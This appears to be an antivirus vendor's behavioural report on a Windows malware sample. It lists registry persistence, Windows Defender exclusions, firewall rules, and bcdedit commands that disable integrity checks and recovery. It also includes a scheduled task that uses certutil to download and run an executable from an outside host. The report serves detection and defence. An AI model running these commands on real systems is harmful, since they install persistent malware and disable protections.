Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'SilentForest' = '"%WINDIR%\rss\csrss.exe"'
Creates or modifies the following files
- <SYSTEM32>\tasks\scheduledupdate
- <SYSTEM32>\tasks\csrss
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\VBoxDrv] 'ImagePath' = '<DRIVERS>\VBoxDrv.sys'
Creates the following services
- 'VBoxDrv' <DRIVERS>\VBoxDrv.sys
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion with following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\rss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\8edad8e8feee\8edad8e8feee' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\csrss' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%APPDATA%\SilentForest' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%WINDIR%\windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '%TEMP%\wup' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths] '<DRIVERS>' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'csrss.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '8edad8e8feee.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] 'windefender.exe' = '00000000'
- [<HKLM>\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes] '<File name>.exe' = '00000000'
Executes the following
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes
- '<SYSTEM32>\netsh.exe' advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee\8edad8e8feee.exe" enable=yes
Modifies file system
Creates the following files
- %WINDIR%\rss\csrss.exe
- nul
- %TEMP%\csrss\patch.exe
- %TEMP%\dbghelp.dll
- %TEMP%\symsrv.dll
- %TEMP%\ntkrnlmp.exe
- %TEMP%\osloader.exe
- %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
- %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error
- %TEMP%\csrss\dsefix.exe
- <DRIVERS>\vboxdrv.sys
Deletes the following files
- %TEMP%\csrss\patch.exe
- %TEMP%\csrss\dsefix.exe
Moves the following files
- from %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error to %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\ntkrnlmp.pdb
- from %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error to %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\winload_prod.pdb
- from %TEMP%\ntkrnlmp.exe to <SYSTEM32>\ntkrnlmp.exe
- from %TEMP%\osloader.exe to <SYSTEM32>\osloader.exe
Substitutes the following files
- %TEMP%\symbols\ntkrnlmp.pdb\3844dbb920174967be7aa4a2c20430fa2\download.error
- %TEMP%\symbols\winload_prod.pdb\768283ca443847fb8822f9db1f36ecc51\download.error
Network activity
Connects to
- 'vs###########ssu5shard58.blob.core.windows.net':443
TCP
HTTP GET requests
- http://www.microsoft.com/pki/certs/MicRooCerAut_2010-06-23.crt
UDP
- DNS ASK b6###############1-a7ea-06ae5b839970.server4.easywbdesign.com
- DNS ASK msdl.microsoft.com
- DNS ASK microsoft.com
- DNS ASK vs###########ssu5shard10.blob.core.windows.net
- DNS ASK vs###########ssu5shard58.blob.core.windows.net
Miscellaneous
Creates and executes the following
- '%WINDIR%\rss\csrss.exe' ""
- '%TEMP%\csrss\patch.exe'
- '%TEMP%\csrss\dsefix.exe'
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' /v' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -timeout 0' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER' (with hidden window)
- '%TEMP%\csrss\patch.exe' ' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" ...' (with hidden window)
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F' (with hidden window)
- '%WINDIR%\rss\csrss.exe' ""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee\8edad8e8feee.exe" enable=yes"' (with hidden window)
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0' (with hidden window)
- '%TEMP%\csrss\dsefix.exe' ' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="%WINDIR%\rss\csrss.exe" enable=yes"
- '<SYSTEM32>\bcdedit.exe' -timeout 0
- '<SYSTEM32>\bcdedit.exe' -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C
- '<SYSTEM32>\bcdedit.exe' -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C
- '<SYSTEM32>\bcdedit.exe' -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://gfixprice.space/app/app.exe %TEMP%\csrss\scheduled.exe && %TEMP%\csrss\scheduled.exe /31340" ...
- '<SYSTEM32>\schtasks.exe' /CREATE /SC ONLOGON /RL HIGHEST /TR "%WINDIR%\rss\csrss.exe" /TN csrss /F
- '<SYSTEM32>\cmd.exe' /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="%APPDATA%\8edad8e8feee\8edad8e8feee\8edad8e8feee.exe" enable=yes"
- '<SYSTEM32>\bcdedit.exe' -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
- '<SYSTEM32>\bcdedit.exe' /v
